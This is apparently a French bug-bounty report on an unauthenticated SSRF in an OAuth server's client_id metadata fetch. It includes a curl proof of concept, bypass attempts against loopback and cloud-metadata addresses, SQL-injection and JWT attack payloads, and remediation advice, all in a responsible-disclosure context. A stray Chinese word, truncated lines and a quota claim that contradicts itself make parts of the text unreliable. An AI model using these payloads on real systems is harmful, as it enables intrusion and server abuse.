SSRF non authentifié sur le serveur d'autorisation OAuth (`client_id` de type URL) — permet à un tiers de faire émettre des requêtes HTTP depuis l'i

1. Détails

Champ	Valeur
Programme	KLDS — Web & API (BugSecure Africa)
Composant	Serveur d'autorisation OAuth 2.1 — `https://bugsecure-api.senintel.sn`
Endpoint	`GET /oauth/authorize` (paramètre `client_id`) et `POST /oauth/register` (paramètre `client_uri`)
Type	SSRF — CWE-918 (fetch serveur d'une URL fournie par l'appelant)
Authentification requise	**Aucune**
CVSS 3.1	`AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` → **5.3 (Medium)**
Date de la découverte	2026-10-20
Compte utilisé	Compte de test du chercheur uniquement (`william_root`)

Titre court : `SSRF via le paramètre client_id de /oauth/authorize — un appelant non authentifié fait fetch serveur de n'importe quelle URL, sans

---

2. Vulnérabilité

2.1 Ce qui se passe

`GET /oauth/authorize` accepte un `client_id` qui est une **URL HTTP(S)** (mécanisme *Client ID Metadata Document*). Dans ce cas, le serveur d'autorisation **effectue lui-même une requête HTTP GET vers cette URL** pour y lire le document de métadonnées client, puis construit l'identité du client à partir de ce document.

Cette requête sort de l'infrastructure de BugSecure. Voici ce que j'ai mesuré sur le serveur d'autorisation (`https://bugsecure-api.senintel.sn`) :

- **Aucune authentification** n'est requise (ni token, ni cookie, ni en-tête `Authorization`) ;
- **L'URL est entièrement choisie par l'appelant** (schéma, hôte, port, chemin, query string) ;
- **Aucune inscription n'est nécessaire** : contrairement à `POST /oauth/register` (qui répond `429 temporarily_unavailable` après une dizaine d'appels, et qui **restitue** un `client_id` enregistré), le chemin CIMD **construit le client à la volée** à partir du document distant. Chaque appel à `/oauth/authorize` déclenche un fetch : j'ai observé **25 requêtes émises par le serveur d'autorisation** pour 25 appels distincts. Le serveur d'autorisation applique par ailleurs son propre quota d'appels sur `/oauth/authorize` (je l'ai rencontré sous la forme `error=rate_limited`) : ce quota limite le **débit**, pas le **nombre de clients réalisables**, puisqu'aucune inscription n'est requise ;
- **La réponse distante est analysée** : le contenu téléchargé définit `client_id`, `client_name`, `redirect_uris`, `grant_types`, `scope`, et l'issue de l'analyse est **observable par l'appelant** (voir 2.3) ;
- **La requête part de l'IP de la plateforme**, pas de celle de l'appelant : dans mon journal de réception, l'IP source est `52.214.90.218` (plage AWS), et l'agent utilisateur identifie le composant émetteur : `BugSecure-OAuth/1 (+client-id-metadata-document)`.

2.2 Preuve

Journal de mon service d'écoute (chaque entrée correspond à un `authorize` distinct) :

```
GET /imp-1792509314546-kdvj            <- chemin unique publié par moi
Host: webhook.site
User-Agent: BugSecure-OAuth/1 (+client-id-metadata-document)
ip: 52.214.90.218                       <- IP de sortie de l'infrastructure BugSecure
```

La réponse du serveur d'autorisation pour un document valide — la demande de consentement est créée **à partir du document distant** :

```
HTTP/2 302
location: https://bugsecure.senintel.sn/oauth/consent?request=8fca8bd1-7c21-4bab-9bb1-7e06d3f71470
```

2.3 Oracle sur la cible (reconnaissance)

Le contenu distant modifie le comportement du serveur d'autorisation, et la différence est visible dans la réponse. Relevé effectué avec un **chemin unique par cas** (donc sans intervention du cache de client du serveur d'autorisation) — voir la pièce jointe P3 :

Document distant servi sur l'URL du `client_id`	Réponse de l'AS
document valide (`client_id` = URL, `redirect_uris` https, nom neutre)	**302 → `/oauth/consent?request=…`** (client accepté, identité construite d
corps non JSON (texte)	302 → `/oauth/error?code=invalid_client`
JSON invalide	302 → `/oauth/error?code=invalid_client`
JSON sans `client_id`	302 → `/oauth/error?code=invalid_client`
JSON avec un `client_id` différent de l'URL	refusé

JSON sans `redirect_uris`	302 → `/oauth/error?code=invalid_client`
`redirect_uris` vers un hôte de la plateforme (`https://bugsecure.senintel.sn/...`)	302 → `/oauth/error?code=invalid_client`
`redirect_uris` vers un IP littéral (`https://1.2.3.4/cb`)	302 → `/oauth/error?code=invalid_client`
`redirect_uris` = `javascript:alert(1)`	302 → `/oauth/error?code=invalid_client`
`redirect_uris` en `http` non-loopback	302 → `/oauth/error?code=invalid_client`
`client_name` imitant la plateforme (`BugSecure Africa`)	302 → `/oauth/error?code=invalid_client`
`grant_types` non autorisés (`password`, `implicit`)	302 → `/oauth/error?code=invalid_client`
`token_endpoint_auth_method` = `client_secret_basic`	302 → `/oauth/error?code=invalid_client`
`scope` hors périmètre (`admin:all triage:write`)	**302 → `/oauth/consent?request=…`** (client accepté)

Deux points à retenir :

- l'appelant distingue « document conforme » de « document non conforme » : il dispose d'un
  oracle binaire sur la cible atteinte, à raison d'une requête par cible ;
- le `scope` déclaré dans le document distant **n'est pas filtré au moment de la construction du
  client** (contrairement à `POST /oauth/register`, qui refuse un `scope` hors périmètre avec
  `invalid_client_metadata`) — le filtrage n'intervient qu'au moment de l'émission du token
  (j'ai vérifié : `triage:read` demandé par le client `bugsecure-mcp-cli` est retiré du token).

2.4 Ce que j'ai vérifié et qui ne fonctionne pas (je le signale explicitement)

Je n'ai pas trouvé de contournement vers les plages internes :

Test	Résultat
Loopback `127.0.0.1` (ports 80, 3000, 9200, 11211)	refusé — latence minimale identique à celle d'une adresse non routable (125-170 ms)
RFC1918 `10.0.0.1`, link-local `169.254.169.254` (IMDS)	refusés (min 125-131 ms)
Contournement par résolution DNS (`localtest.me`, `127.0.0.1.nip.io` → 127.0.0.1)	le filtre couvre l'IP **résolue** : profil de latence identique
IPv4-mapped IPv6 `::ffff:127.0.0.1`, NAT64 local-use `64:ff9b:1::7f00:1`	refusés
Suivi des redirections (redirecteur public vers une cible interne)	**non suivies** — le second saut n'atteint jamais la cible
Filtrage des IP par nom de plateforme / IP littéral dans `redirect_uris`	appliqué, y compris sur le chemin CIMD
Usurpation du nom de client (`BugSecure`, `BugSecure Africa`, …)	refusée sur **les deux** chemins (DCR et CIMD)

Je ne revendique donc **aucune** lecture de donnée interne : le fetch est borné aux hôtes externes
par le filtre d'adresses mis en place, et je documente cette limite dans le rapport.

2.5 Impact

1. **Le serveur d'autorisation est un relais HTTP sortant, non authentifié et sans quota.** Un
   tiers fait émettre par l'infrastructure de BugSecure une requête GET vers n'importe quelle URL
   externe, **depuis l'IP de la plateforme**. Conséquences directes :
   - contournement des listes d'autorisation d'IP de services tiers (paiement, vérification de
     domaine, scan, reporting) ;
   - usage de l'identité réseau et de la réputation de BugSecure pour des requêtes à l'attribut
     potentiellement abusif ;
   - débit illimité du côté de l'appelant (aucune inscription, aucun quota) : la plateforme peut
     être transformée en proxy de requêtes sortantes.
2. **Reconnaissance d'infrastructure** via l'oracle décrit en 2.3 : un appelant peut探测 l'existence
   et le type de réponse de services joignables depuis l'IP de la plateforme.
3. **Fuite d'information d'infrastructure** : l'IP de sortie du serveur d'autorisation
   (`52.214.90.218`) et l'existence du mécanisme de fetch distant sont révélés.
4. **Élévation de sévérité possible** (à confirmer côté BugSecure, je n'ai pas pu l'établir) : si une
   ressource de la plateforme ou d'un partenaire **autorise l'IP de sortie de BugSecure**, ou si le
   filtre d'adresses peut être contourné (autre résolveur DNS, résolution côté serveur non
   re-vérifiée), l'impact passe de « relais externe » à « accès aux services internes / métadonnées
   d'instance ».

---

3. Remédiation

1. **Supprimer par défaut l'usage d'un `client_id` qui est une URL.** Le mécanisme *Client ID
   Metadata Document* n'apporte rien à un client public classique (le client public `bugsecure-mcp-cli`
   du dépôt `kulinda-sec/bugsecure-mcp` s'enregistre via `/oauth/register`) et il introduit un
   fetch serveur sur une entrée non authentifiée. Si le mécanisme doit être conservé, l'AS doit :
   - n'accepter que `https`, et refuser les IP littérales et les plages internes **après résolution**
     (loopback, `127.0.0.0/8`, `0.0.0.0/8`, RFC1918, `169.254.0.0/16`, IPv6 ULA `fc00::/7`,
     NAT64 local-use `64:ff9b:1::/48`, IPv4-mapped IPv6) ;
   - **désactiver le suivi des redirections** (ou re-valider l'IP de chaque saut) ;
   - imposer un délai maximal court et **ne jamais restituer** le résultat (ni en contenu, ni via
     une latence distinguant deux réponses).
2. **Aligner le chemin CIMD sur le contrôle de débit de `/oauth/register`** (actuellement
   `/oauth/register` limite les créations, le chemin CIMD n'en a pas).
3. **Journaliser** les URL distantes récupérées avec l'IP résolue, et alerter sur toute cible interne
   ou tout volume anormal de fetch.
4. En complément : vérifier périodiquement que les noms de clients imitant la plateforme sont
   refusés **sur les deux** chemins d'enregistrement (c'est le cas aujourd'hui, je l'ai vérifié).

---

4. Pièces jointes

#	Fichier	Contenu
P1	`P1-journal-reception-ssr.md`	Extrait de mon journal de réception : chemin unique demandé, `User-Agent: BugSecure-OAuth/1 (+client-id-metadat
P2	`P2-poc.sh`	Script de reproduction autonome (publication du document + `authorize` + lecture du journal)
P3	`P3-oracle-contenu.md`	Tableau de l'oracle : 13 contenus distants distincts → réponses de l'AS (erreur ou création de la demande de consentem
P4	`P4-perimetre-latences.md`	Mesures de latence côté AS (min et médiane de 5 échantillons) : loopback, RFC1918, IMDS, contournement DNS, IPv4-m
P5	`P5-dcr-vs-cimd.md`	Comparaison `POST /oauth/register` (inscription + quota + validation du nom) vs chemin CIMD (aucune inscription, aucun qu

Captures d'écran : le journal de réception (P1) est la capture de la preuve serveur ; le contenu
exact de chaque requête y est visible avec l'IP source.

---

5. Vérification

Comment reproduire (compte de test uniquement)

```bash
# 1) Un service qui journalise les requêtes reçues, sur un chemin unique
#    (j'ai utilisé webhook.site ; n'importe quel listener convient)
#    Exemple d'URL de base : https://webhook.site/<UUID>

# 2) Le document de métadonnées client, publié sur ce service
#    (le chemin DOIT être unique par essai)
#    -> contenu servi :
{
  "client_id": "https://webhook.site/<UUID>/<CHEMIN-UNIQUE>",
  "client_name": "bb-cimd-research (document de test)",
  "redirect_uris": ["https://webhook.site/<UUID>/cb"],
  "grant_types": ["authorization_code", "refresh_token"],
  "response_types": ["code"],
  "token_endpoint_auth_method": "none",
  "scope": "programs:read profile:read reports:read reports:write"
}

# 3) L'appel non authentifié qui déclenche le fetch
curl -sS -D- -o/dev/null \
  "https://bugsecure-api.senintel.sn/oauth/authorize?response_type=code\
&client_id=https%3A%2F%2Fwebhook.site%2F<UUID>%2F<CHEMIN-UNIQUE>\
&redirect_uri=https%3A%2F%2Fwebhook.site%2F<UUID>%2Fcb\
&scope=programs%3Aread%20profile%3Aread\
&state=bb-test&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM\
&code_challenge_method=S256\
&resource=https%3A%2F%2Fbugsecure-api.senintel.sn"

# 4) Observation : dans le journal du listener, une requête
#    GET /<CHEMIN-UNIQUE>
#    User-Agent: BugSecure-OAuth/1 (+client-id-metadata-document)
#    ip: 52.214.90.218
#    -> la requête a été émise par le serveur d'autorisation, pas par le client.
```

Résultat attendu après correction : `GET /oauth/authorize` avec un `client_id` de type URL doit
être rejeté (`invalid_client` / `invalid_request`) **sans** émettre de requête sortante ; ou, si le
mécanisme est conservé, la réponse doit être refusée pour toute URL dont l'IP résolue est interne,
et un quota doit s'appliquer comme sur `/oauth/register`.

Vérifications complémentaires effectuées de mon côté (aucune n'a été contournée)

- PKCE : `code_challenge_method=S256` obligatoire (`PKCE with code_challenge_method=S256 is
  required`), `code_challenge` absent ou malformé → `invalid_request` ; `plain` → refusé ;
  `response_type` strictement `code` ; `scope`/`resource` non dupliquables ; `redirect_uri`
  comparé **exactement** (slash final, query, fragment, userinfo, sous-domaine → refusés) ;
  `iss` (RFC 9207) toujours émis par l'AS ; `prompt=none` et `request_uri` (RFC 9101) non
  implémentés ; code d'autorisation à usage unique ; refresh token à rotation stricte avec révocation
  de la famille en cas de rejeu ; `client_credentials` et `token-exchange` refusés aux clients
  CIMD ; scopes hors périmètre non accordés (`triage:read` retiré du token).
- Autorisations : `decideAgentApproval` et `decideOAuthAuthorization` refusés aux clients OAuth
  (« not available to OAuth clients ») ; `createAgentApproval` exige le scope d'écriture de
  l'opération ; `requestEmailChange` exige `currentPassword` + `newEmail` ; `verify2fa`,
  `removeTotpViaToken`, `confirmEmailChange`, `verifyEmail` sont limités en débit.
- Injection : `search`, `programs.filters.search`, `reports.filters.search`, `leaderboard`,
  `researcherPublicProfile` testés avec des charges utiles (classiques et variantes contournant le
  WAF) et un différentiel booléen (`' AND 1 LIKE 1--` vs `' AND 1 LIKE 2--`) → aucun écart de
  résultat : les requêtes sont paramétrées.
- JWT : `jku`, `x5u`, `jwk` embarqué, `alg:none` et HS256 (confusion RSA/HMAC) tous refusés — le
  serveur utilise un JWKS figé et ne suit pas l'en-tête `jku`.

Conformité : aucun compte réel, aucune donnée d'un autre utilisateur, aucune exfiltration,
aucun impact sur la disponibilité, essais espacés (≈ 1 requête / 3,5 s).